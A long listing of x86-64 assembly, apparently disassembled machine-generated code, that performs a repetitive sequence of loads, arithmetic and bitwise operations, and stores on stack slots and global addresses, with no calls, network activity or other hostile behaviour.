mov qword [rsp + 0x99c8], rax
mov rax, qword [rsp + 0xac98]
mov rcx, qword [rsp + 0xa218]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x51bc], eax
movsx eax, word [rsp + 0x1568]
mov rcx, qword [rsp + 0x9478]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1401cc064], ax
lea rax, [rsp + 0x261]
mov qword [rsp + 0xae78], rax
movsx eax, byte [rsp + 0xca]
mov rcx, qword [rsp + 0x9508]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x21b], al
movzx eax, word [rsp + 0x15a8]
mov word [rsp + 0x1870], ax
mov rax, qword [rsp + 0x98c0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x23c]
add eax, ecx
mov byte [rsp + 0x2c0], al
mov eax, dword [rsp + 0x501c]
mov ecx, dword [rsp + 0x4f30]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9598]
mov dword [rcx], eax
lea rax, [rsp + 0x4f08]
mov qword [rsp + 0xae80], rax
mov rax, qword [rsp + 0x9490]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xabe8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa388]
mov qword [rcx], rax
lea rax, [rsp + 0x9b50]
mov qword [rsp + 0xae88], rax
mov rax, qword [rsp + 0x8fb8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1c8]
xor eax, ecx
mov byte [0x1401cc073], al
mov rax, qword [rsp + 0x9e10]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1de]
or eax, ecx
mov byte [rsp + 0x22d], al
movzx eax, word [rsp + 0x16c8]
movzx ecx, word [rsp + 0x1624]
sar eax, cl
mov word [rsp + 0x1740], ax
lea rax, [0x1401cd78e]
mov qword [rsp + 0xae90], rax
movsx eax, word [rsp + 0x17ec]
mov rcx, qword [rsp + 0x8fe8]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x9cd8]
mov word [rcx], ax
lea rax, [rsp + 0x9fe8]
mov qword [rsp + 0xae98], rax
mov eax, dword [rsp + 0x4fdc]
mov ecx, dword [0x1401cd710]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa9d8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa970]
mov rcx, qword [rsp + 0x8f98]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x8168], rax
mov rax, qword [rsp + 0xa438]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4e78]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4f78], eax
movzx eax, byte [rsp + 0x244]
mov byte [0x1401cd7ee], al
mov rax, qword [rsp + 0x9550]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x11fc]
add eax, ecx
mov word [rsp + 0x177c], ax
lea rax, [rsp + 0x17f0]
mov qword [rsp + 0xaea0], rax
mov rax, qword [0x1401cdad8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9a40]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x94f8]
mov word [rcx], ax
lea rax, [rsp + 0x28d]
mov qword [rsp + 0xaea8], rax
mov rax, qword [rsp + 0x9018]
mov rcx, qword [rsp + 0x9660]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xa5f8], rax
mov rax, qword [rsp + 0x99a0]
mov rax, qword [rax]
mov rcx, qword [0x1401cc028]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x90a0]
mov qword [rcx], rax
lea rax, [rsp + 0x51a0]
mov qword [rsp + 0xaeb0], rax
mov rax, qword [rsp + 0x9048]
mov rcx, qword [rsp + 0xae20]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x9a70]
mov dword [rcx], eax
mov rax, qword [rsp + 0xaac0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x229]
sub eax, ecx
mov rcx, qword [0x1401cd758]
mov byte [rcx], al
lea rax, [rsp + 0x14c8]
mov qword [rsp + 0xaeb8], rax
mov rax, qword [rsp + 0x9578]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa408]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x1f1], al
mov rax, qword [rsp + 0x91b0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9448]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1510], ax
mov rax, qword [rsp + 0xa6c0]
movzx eax, word [rax]
mov word [rsp + 0x1874], ax
mov rax, qword [rsp + 0x9b78]
mov rcx, qword [rsp + 0x9f00]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x91d0]
mov dword [rcx], eax
lea rax, [rsp + 0x50b4]
mov qword [rsp + 0xaec0], rax
mov rax, qword [rsp + 0x7fb8]
movzx ecx, al
mov rax, qword [rsp + 0xa5f8]
shl rax, cl
mov qword [rsp + 0x95b8], rax
lea rax, [rsp + 0xab58]
mov qword [rsp + 0xaec8], rax
movsx eax, byte [0x1401cd7eb]
movsx ecx, byte [rsp + 0x29e]
sar eax, cl
mov rcx, qword [0x1401cd878]
mov byte [rcx], al
mov rax, qword [rsp + 0x9fc8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1740]
add eax, ecx
mov word [rsp + 0x155c], ax
mov rax, qword [0x1401cd770]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x16dc]
add eax, ecx
mov word [rsp + 0x16b8], ax
movzx eax, byte [rsp + 0x223]
mov byte [rsp + 0x2c5], al
movzx eax, byte [rsp + 0x294]
movzx ecx, byte [rsp + 0x1f8]
and eax, ecx
mov byte [rsp + 0x2c3], al
lea rax, [0x1401cd710]
mov qword [rsp + 0xaed0], rax
mov rax, qword [rsp + 0x90a0]
mov rcx, qword [rsp + 0xaa58]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xa678], rax
mov rax, qword [rsp + 0xa648]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8e20]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xa6e0], rax
mov eax, dword [rsp + 0x4f64]
mov dword [rsp + 0x51cc], eax
lea rax, [rsp + 0x296]
mov qword [0x1401cdb78], rax
mov rax, qword [rsp + 0x9180]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x16d4]
sub eax, ecx
mov rcx, qword [rsp + 0x9070]
mov word [rcx], ax
movzx eax, word [rsp + 0x17ac]
mov word [rsp + 0x1878], ax
movsx eax, word [rsp + 0x1834]
mov rcx, qword [rsp + 0xaa38]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9cd8]
mov word [rcx], ax
mov rax, qword [rsp + 0xa408]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x28a]
add eax, ecx
mov rcx, qword [rsp + 0xa670]
mov byte [rcx], al
mov rax, qword [rsp + 0x9770]
mov qword [rsp + 0xaed8], rax
mov rax, qword [rsp + 0x9ca8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9c98]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa4b8]
mov qword [rcx], rax
lea rax, [rsp + 0x5144]
mov qword [rsp + 0xaee0], rax
mov eax, dword [rsp + 0x4c28]
mov ecx, dword [rsp + 0x4fa0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5128], eax
mov rax, qword [rsp + 0x9180]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x15f8]
sub eax, ecx
mov word [0x1401cdafc], ax
movsx eax, byte [rsp + 0x120]
movsx ecx, byte [rsp + 0x22d]
sar eax, cl
mov rcx, qword [rsp + 0x8fa0]
mov byte [rcx], al
mov rax, qword [0x1401cd9f0]
movzx eax, word [rax]
mov word [rsp + 0x187c], ax
mov rax, qword [rsp + 0x8fb8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xae90]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0xd6], al
lea rax, [rsp + 0x22d]
mov qword [rsp + 0xaee8], rax
mov eax, dword [0x1401cd710]
mov ecx, dword [rsp + 0x4fd0]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x5184], eax
mov rax, qword [rsp + 0x90f8]
mov rax, qword [rax]
mov qword [rsp + 0xaef0], rax
mov rax, qword [rsp + 0x94d0]
mov rcx, qword [rsp + 0x9b00]
mov qword [rsp + 0xaef8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xaef8]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0xa648]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa110]
mov rcx, qword [rsp + 0x9408]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x51a4], eax
movzx eax, byte [rsp + 0x27c]
mov byte [rsp + 0x2c6], al
lea rax, [rsp + 0x17ac]
mov qword [0x1401cdb80], rax
mov rax, qword [rsp + 0x99e0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x2aa]
add eax, ecx
mov byte [rsp + 0x246], al
lea rax, [rsp + 0x1860]
mov qword [rsp + 0xaf00], rax
mov rax, qword [rsp + 0x8fa0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9878]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x27f], al
mov rax, qword [0x1401cc010]
mov rcx, qword [rsp + 0x9148]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x9c80], rax
lea rax, [rsp + 0x9040]
mov qword [rsp + 0xaf08], rax
mov rax, qword [rsp + 0x99b8]
mov rcx, qword [rsp + 0xac90]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xa3e0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xae80]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4ca4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x49ec], eax
movzx eax, word [rsp + 0x1748]
mov rcx, qword [rsp + 0x9d80]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1584], ax
mov rax, qword [rsp + 0x9730]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x16c4]
add eax, ecx
mov word [0x1401cc124], ax
movsx eax, word [0x1401cc088]
mov rcx, qword [rsp + 0x9980]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x150c], ax
lea rax, [rsp + 0x28e]
mov qword [rsp + 0xaf10], rax
mov rax, qword [rsp + 0xa0c0]
movsx eax, byte [rax]
mov rcx, qword [0x1401cd870]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x9540]
mov byte [rcx], al
mov eax, dword [rsp + 0x5154]
mov dword [rsp + 0x51d0], eax
mov rax, qword [rsp + 0x9f88]
mov rcx, qword [rsp + 0xa098]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x8698], rax
mov rax, qword [rsp + 0xa3c0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x5140]
sar eax, cl
mov dword [rsp + 0x4efc], eax
lea rax, [rsp + 0xaa70]
mov qword [rsp + 0xaf18], rax
movzx eax, word [rsp + 0x176c]
movzx ecx, word [rsp + 0x1870]
xor eax, ecx
mov rcx, qword [rsp + 0xa5e0]
mov word [rcx], ax
mov rax, qword [rsp + 0xa560]
movzx eax, byte [rax]
movzx ecx, byte [0x1401cc06e]
and eax, ecx
mov rcx, qword [0x1401cda50]
mov byte [rcx], al
movzx eax, word [rsp + 0x1760]
mov word [rsp + 0x1880], ax
movzx eax, byte [rsp + 0x2c1]
movzx ecx, byte [rsp + 0x1ea]
add eax, ecx
mov byte [rsp + 0x1eb], al
movzx eax, byte [rsp + 0x1f7]
mov byte [rsp + 0x2c7], al
mov rax, qword [rsp + 0x9400]
mov eax, dword [rax]
mov ecx, dword [0x1401cd720]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa250]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa098]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9680]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x96c8]
mov qword [rcx], rax
mov eax, dword [0x1401cc01c]
mov dword [rsp + 0x51d4], eax
mov rax, qword [rsp + 0x9b60]
mov rcx, qword [rsp + 0xad60]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xa0f8]
mov qword [rcx], rax
lea rax, [rsp + 0x1608]
mov qword [rsp + 0xaf20], rax
lea rax, [rsp + 0x276]
mov qword [0x1401cdb88], rax
movzx eax, byte [rsp + 0x221]
movzx ecx, byte [rsp + 0x1ce]
and eax, ecx
mov byte [rsp + 0x256], al
mov rax, qword [rsp + 0xaa08]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9828]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1828], ax
lea rax, [rsp + 0x1520]
mov qword [rsp + 0xaf28], rax
movsx eax, byte [0x1401cd7de]
movsx ecx, byte [rsp + 0x2c2]
add eax, ecx
mov byte [rsp + 0x23b], al
mov rax, qword [rsp + 0x9490]
mov rax, qword [rax]
mov qword [rsp + 0xaf30], rax
mov rax, qword [rsp + 0x9988]
mov rcx, qword [rsp + 0x95e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4dd8], eax
mov rax, qword [rsp + 0x9ac0]
mov rcx, qword [rsp + 0xa1d0]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xa628]
mov qword [rcx], rax
lea rax, [rsp + 0x5068]
mov qword [rsp + 0xaf38], rax
movzx eax, word [rsp + 0x16a4]
mov rcx, qword [rsp + 0x8ed8]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [0x1401cd838]
mov word [rcx], ax
mov rax, qword [rsp + 0x9410]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xae90]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xa4a0]
mov byte [rcx], al
mov rax, qword [rsp + 0x9be8]
movzx eax, word [rax]
mov word [rsp + 0x1884], ax
mov rax, qword [rsp + 0x9608]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa4d0]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x244], al
movzx eax, word [rsp + 0x175c]
mov word [rsp + 0x1888], ax
mov rax, qword [rsp + 0x9700]
mov rcx, qword [rsp + 0x9a28]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x9728], rax
mov rax, qword [rsp + 0x8d10]
mov rcx, qword [rsp + 0x9d08]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x9e38], rax
mov eax, dword [rsp + 0x51ac]
mov dword [rsp + 0x51d8], eax
mov rax, qword [rsp + 0xa4f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4c28]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5024], eax
movsx eax, byte [rsp + 0x212]
mov rcx, qword [0x1401cd908]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x1401cdb78]
mov byte [rcx], al
mov rax, qword [rsp + 0x9248]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x17b4]
add eax, ecx
mov word [rsp + 0x1040], ax
movsx eax, word [rsp + 0x1884]
movsx ecx, word [rsp + 0x1830]
add eax, ecx
mov rcx, qword [rsp + 0x9dd8]
mov word [rcx], ax
movzx eax, word [rsp + 0x161c]
mov rcx, qword [rsp + 0xaea0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x14fc], ax
movzx eax, byte [rsp + 0x24b]
mov byte [rsp + 0x2c8], al
mov rax, qword [rsp + 0x9c28]
mov rcx, qword [rsp + 0x9fd0]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x7fb8], rax
mov eax, dword [rsp + 0x4f84]
mov dword [rsp + 0x51dc], eax
mov rax, qword [rsp + 0x8d10]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa478]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9460]
mov qword [rcx], rax
mov rax, qword [rsp + 0xae80]
mov ecx, dword [0x1401cd710]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa158]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x233]
mov rcx, qword [rsp + 0x9ca0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x1401cc076], al
movzx eax, byte [rsp + 0x2c8]
mov byte [rsp + 0x2c9], al
movsx eax, word [rsp + 0x158c]
movsx ecx, word [rsp + 0x15d8]
sar eax, cl
mov rcx, qword [rsp + 0x9950]
mov word [rcx], ax
movzx eax, word [rsp + 0x1710]
mov word [rsp + 0x188c], ax
mov rax, qword [rsp + 0xa8a0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x215]
xor eax, ecx
mov rcx, qword [rsp + 0xa718]
mov byte [rcx], al
mov rax, qword [rsp + 0x98d8]
mov ecx, dword [rsp + 0x4cf0]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0xaab8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8fd0]
mov qword [rsp + 0xaf40], rax
mov rax, qword [rsp + 0xa3d8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x50c4]
shl eax, cl
mov rcx, qword [rsp + 0x9ec0]
mov dword [rcx], eax
lea rax, [rsp + 0x8168]
mov qword [rsp + 0xaf48], rax
mov rax, qword [rsp + 0x9cc0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x273]
and eax, ecx
mov rcx, qword [0x1401cd860]
mov byte [rcx], al
mov rax, qword [rsp + 0x8fb8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9b30]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1eb], al
movzx eax, word [0x1401cc048]
mov word [rsp + 0x1890], ax
mov rax, qword [rsp + 0xa2c0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9568]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xad38]
mov word [rcx], ax
mov rax, qword [rsp + 0xae78]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x227]
sub eax, ecx
mov byte [rsp + 0x1ce], al
mov rax, qword [0x1401cc010]
mov qword [rsp + 0xaf50], rax
mov rax, qword [rsp + 0xa660]
mov ecx, dword [rsp + 0x4dd8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x50cc], eax
lea rax, [rsp + 0x4fa4]
mov qword [rsp + 0xaf58], rax
mov rax, qword [rsp + 0x9c00]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9090]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9128]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x1e7]
mov byte [0x1401cd7ef], al
movzx eax, word [rsp + 0x166c]
mov rcx, qword [rsp + 0xa2b0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xaac8]
mov word [rcx], ax
movzx eax, word [rsp + 0x170c]
mov word [rsp + 0x1894], ax
movsx eax, word [rsp + 0x1674]
movsx ecx, word [rsp + 0x15e0]
and eax, ecx
mov rcx, qword [rsp + 0x9ab0]
mov word [rcx], ax
lea rax, [rsp + 0x169c]
mov qword [rsp + 0xaf60], rax
mov rax, qword [rsp + 0xa340]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa328]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xa228], rax
mov rax, qword [rsp + 0xae10]
mov rcx, qword [rsp + 0xa318]
mov qword [rsp + 0xaf68], rcx
movzx ecx, al
mov rax, qword [rsp + 0xaf68]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x9da0]
mov qword [rcx], rax
lea rax, [rsp + 0x509c]
mov qword [rsp + 0xaf70], rax
mov eax, dword [rsp + 0x4e88]
mov ecx, dword [rsp + 0x4f7c]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x5088], eax
mov rax, qword [rsp + 0xae50]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2a9]
or eax, ecx
mov byte [0x1401cd78e], al
movzx eax, word [rsp + 0x1448]
mov rcx, qword [rsp + 0x9da8]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1358], ax
mov rax, qword [rsp + 0x9160]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x286]
sub eax, ecx
mov byte [rsp + 0x247], al
mov rax, qword [rsp + 0x9138]
movzx eax, byte [rax]
mov byte [rsp + 0x2ca], al
movsx eax, word [rsp + 0x1720]
mov rcx, qword [rsp + 0xa988]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x16a0], ax
mov rax, qword [rsp + 0xa218]
mov rcx, qword [rsp + 0xa350]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x94b8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xab58]
mov qword [rsp + 0xaf78], rax
mov rax, qword [rsp + 0xa250]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x50dc]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa8c0]
mov dword [rcx], eax
lea rax, [rsp + 0x9338]
mov qword [rsp + 0xaf80], rax
mov rax, qword [rsp + 0xa1b0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x278]
add eax, ecx
mov byte [0x1401cc077], al
movzx eax, word [rsp + 0x1500]
movzx ecx, word [rsp + 0x17bc]
sub eax, ecx
mov word [rsp + 0x1700], ax
mov rax, qword [rsp + 0x9818]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1b1]
add eax, ecx
mov byte [rsp + 0x22c], al
lea rax, [rsp + 0x219]
mov qword [rsp + 0xaf88], rax
mov rax, qword [rsp + 0xaf20]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1884]
add eax, ecx
mov rcx, qword [rsp + 0x9ea8]
mov word [rcx], ax
mov rax, qword [rsp + 0xa7d8]
mov qword [rsp + 0xaf90], rax
mov rax, qword [rsp + 0x9460]
mov rcx, qword [rsp + 0x8f20]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8ca0], rax
mov rax, qword [rsp + 0xa5e8]
mov eax, dword [rax]
mov ecx, dword [0x1401cd720]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4ed4], eax
mov eax, dword [rsp + 0x51d4]
mov dword [rsp + 0x51e0], eax
movzx eax, word [rsp + 0x1448]
mov rcx, qword [rsp + 0x98f0]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x17e4], ax
lea rax, [rsp + 0x286]
mov qword [0x1401cdb90], rax
lea rax, [rsp + 0x243]
mov qword [rsp + 0xaf98], rax
movsx eax, word [rsp + 0x15ec]
movsx ecx, word [rsp + 0x1758]
shl eax, cl
mov word [rsp + 0x17fc], ax
mov rax, qword [rsp + 0x95d8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xadd0]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x277], al
mov rax, qword [rsp + 0x9698]
mov eax, dword [rax]
mov dword [rsp + 0x51e4], eax
mov rax, qword [rsp + 0xa598]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xab10]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa3f0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9808]
mov rax, qword [rax]
mov qword [rsp + 0xafa0], rax
mov rax, qword [rsp + 0x93c8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5144]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5194], eax
movzx eax, word [rsp + 0x17f0]
mov word [rsp + 0x1898], ax
mov rax, qword [rsp + 0xa888]
movsx eax, byte [rax]
mov rcx, qword [0x1401cd758]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x1401cd848]
mov byte [rcx], al
mov rax, qword [rsp + 0x8db0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x99e0]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x1f7], al
mov rax, qword [rsp + 0x99d0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x28e]
add eax, ecx
mov byte [rsp + 0x1b7], al
lea rax, [0x1401cc110]
mov qword [rsp + 0xafa8], rax
mov rax, qword [rsp + 0x9890]
mov ecx, dword [rsp + 0x5048]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x479c], eax
mov rax, qword [rsp + 0xa318]
mov rax, qword [rax]
mov qword [rsp + 0xafb0], rax
mov rax, qword [rsp + 0xa6f8]
mov rcx, qword [rsp + 0xa458]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa648]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4f58]
mov ecx, dword [rsp + 0x4e38]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xae20]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9ca0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2a3]
sub eax, ecx
mov byte [rsp + 0x170], al
movsx eax, byte [0x1401cd7ed]
mov rcx, qword [rsp + 0x8ca8]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x1401cd848]
mov byte [rcx], al
mov rax, qword [rsp + 0xa890]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x15a8]
add eax, ecx
mov rcx, qword [rsp + 0x9ec8]
mov word [rcx], ax
movzx eax, word [0x1401cdb38]
mov word [rsp + 0x189c], ax
mov rax, qword [rsp + 0x9c48]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1568]
sub eax, ecx
mov word [rsp + 0x181c], ax
mov rax, qword [rsp + 0x8bd8]
mov rcx, qword [rsp + 0x9490]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xaf30], rax
mov eax, dword [rsp + 0x4f80]
mov dword [rsp + 0x51e8], eax
mov rax, qword [rsp + 0x95f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa990]
mov qword [rsp + 0xafb8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xafb8]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x94c0], rax
lea rax, [rsp + 0x4e5c]
mov qword [rsp + 0xafc0], rax
movzx eax, byte [rsp + 0x112]
movzx ecx, byte [0x1401cc033]
sar eax, cl
mov byte [rsp + 0x21e], al
mov rax, qword [rsp + 0x96b8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9ba8]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [0x1401cc07a], al
mov rax, qword [rsp + 0x9850]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x92c8]
movsx ecx, word [rcx]
cdq
idiv ecx
mov rcx, qword [rsp + 0x9380]
mov word [rcx], ax
movzx eax, word [0x1401cc080]
mov word [rsp + 0x18a0], ax
mov rax, qword [rsp + 0xa108]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9478]
movsx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0x1578], ax
movzx eax, word [rsp + 0x1588]
mov word [rsp + 0x18a4], ax
mov rax, qword [rsp + 0xa590]
mov rcx, qword [0x1401cc028]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xae48], rax
lea rax, [rsp + 0xa338]
mov qword [rsp + 0xafc8], rax
mov rax, qword [rsp + 0x93a0]
mov ecx, dword [rsp + 0x4e3c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4fa0], eax
mov eax, dword [rsp + 0x482c]
mov ecx, dword [0x1401cc01c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4b94], eax
lea rax, [rsp + 0x294]
mov qword [0x1401cdb98], rax
lea rax, [rsp + 0x17ec]
mov qword [rsp + 0xafd0], rax
movsx eax, byte [rsp + 0x206]
movsx ecx, byte [rsp + 0x2be]
and eax, ecx
mov byte [rsp + 0x2c8], al
lea rax, [rsp + 0x15f0]
mov qword [rsp + 0xafd8], rax
mov rax, qword [rsp + 0x9590]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xacc0]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xaa38]
mov word [rcx], ax
mov rax, qword [rsp + 0x9618]
mov rcx, qword [0x1401cc020]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x81f0], rax
lea rax, [rsp + 0x4eb0]
mov qword [rsp + 0xafe0], rax
mov rax, qword [rsp + 0xa320]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x511c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5168], eax
lea rax, [rsp + 0x9f90]
mov qword [rsp + 0xafe8], rax
mov rax, qword [0x1401cda78]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9208]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x1401cc03e], al
movzx eax, word [rsp + 0x1448]
mov rcx, qword [rsp + 0x91c8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xaa18]
mov word [rcx], ax
mov rax, qword [rsp + 0x9a20]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xac30]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x17c4], ax
mov rax, qword [rsp + 0xa138]
movzx eax, byte [rax]
mov byte [rsp + 0x2cb], al
mov rax, qword [rsp + 0xa150]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x264]
xor eax, ecx
